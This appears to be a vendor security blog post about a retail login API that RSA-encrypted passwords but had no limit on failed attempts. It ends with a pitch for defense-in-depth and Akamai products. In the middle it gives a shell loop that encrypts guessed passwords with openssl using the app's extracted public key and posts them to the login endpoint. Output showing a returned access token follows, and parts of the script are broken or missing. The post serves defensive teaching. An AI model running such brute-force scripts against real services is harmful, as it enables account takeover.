Don’t Bet Your Cybersecurity on a Single Line of Defense: The Story of an Over-Confident Login API

In military history, it has happened more than once, that the defending side felt too confident about the strength of a single line of defense. The tenet of defense-in-depth tends to be forgotten or being thrown out of the window. The Maginot Line during World War II has some resemblance to this point.

A similar lesson could be observed in cybersecurity. A retail customer fortified their login API to make the password more cryptic (via 1024 bit RSA encryption) in the payload, to the effect that one could no longer see the password in plain text, even if a man-in-the-middle (MITM) attack could successfully be launched against it. All one could see was the encrypted-by-RSA base64 string "dvD7wo9/c9wyWpg1ZkTx7…":

curl -H "user-agent: Android" -H "authorization: bearer" -H "content-type: application/Json; charset=utf-8" --data-binary "{"password":**"dvD7wo9/c9wyWpg1ZkTx7..."**,"t":"1808339324341","email":""}" --compressed ""

In fact, the e-tailer felt so satisfied with this RSA-encrypted password login scheme that they decided they no longer needed to invest in implementing maximum failed password attempts. But was their Maginot Line really unbreakable?

It turns out the e-tailer’s confidence wasn’t justified. Using JADX, the 1024-bit RSA public key could easily be observed in their mobile app:

Saving the public key into a local file called public_key.pem:
-----END PUBLIC KEY-----

One could then use the below shell script to keep guessing the password for a given user, until it bingos. (We are using openssl command line to do the heavy lifting of password encryption by RSA, with the public_key.pem in the local file system.)

for i in {10..4}

echo "Welcome $i"
echo $PASS
export PASS_ENCRYPTED=`echo -n $PASS | openssl rsautl -inkey public_key.pem -pubin -pkcs -encrypt 2>/dev/null | base64`
curl -s  -H "user-agent: Android" -H "authorization: bearer" -H "content-type: application/Json; charset=utf-8"  --data-binary "{\"password\":\"$PASS_ENCRYPTED\",\"t\":\"1808339324341\",\"email\":\"\"}" --compressed $API_ENDPOINT

sleep 1
Welcome 10




Welcome 9




Welcome 8




Welcome 7




Welcome 6



{"msgCode":"UR_PASSWORD_03","msg":"UR_PASSWORD_03","resp":null,"success":false,"total":0}Welcome 5




Welcome 4



{"msgCode":null,"msg":null,"resp":[{"access_token":"dcab64a8-4563-4f24-a9ea-1ffa04a92e27","refresh_token":"803f5d3e-5a6c-4414-9c3a-c36f4cef4d8d","scope":"read write trust","token_type":"bearer","env":"idc","expires_in":124571}],"success":true,"total":0}

As the root cause of this problem stems from putting too much faith in a single line of defense, effective countermeasures in this case would mean re-embracing the tenet of defense-in-depth: fortifying not just one, but multiple lines of defense:

  • Akamai Account Proctor provides a comprehensive solution designed to prevent fraudulent human logins and mitigate the sophisticated adversarial bots that often precede ATO attempts. The solution utilizes techniques for understanding the behavior of legitimate account owners, then assesses the risk of each authentication request based on anomalies from the typical behavior profile and devices, as well as other advanced detections.
  • WAF should block high rate password guessing attempts, as well as suspicious login requests from behind VPN or Tor.
  • The origin should check if the maximum login failed attempts have been reached.
  • BotMan SDK to be adopted to allow Akamai Edge to detect if the request is from a real device or if the request is modified by a script or a bot.
  • API Security can be a radar screen of your API attack surface, so that you are always in the know regarding what kind of traffic are hitting your API endpoints.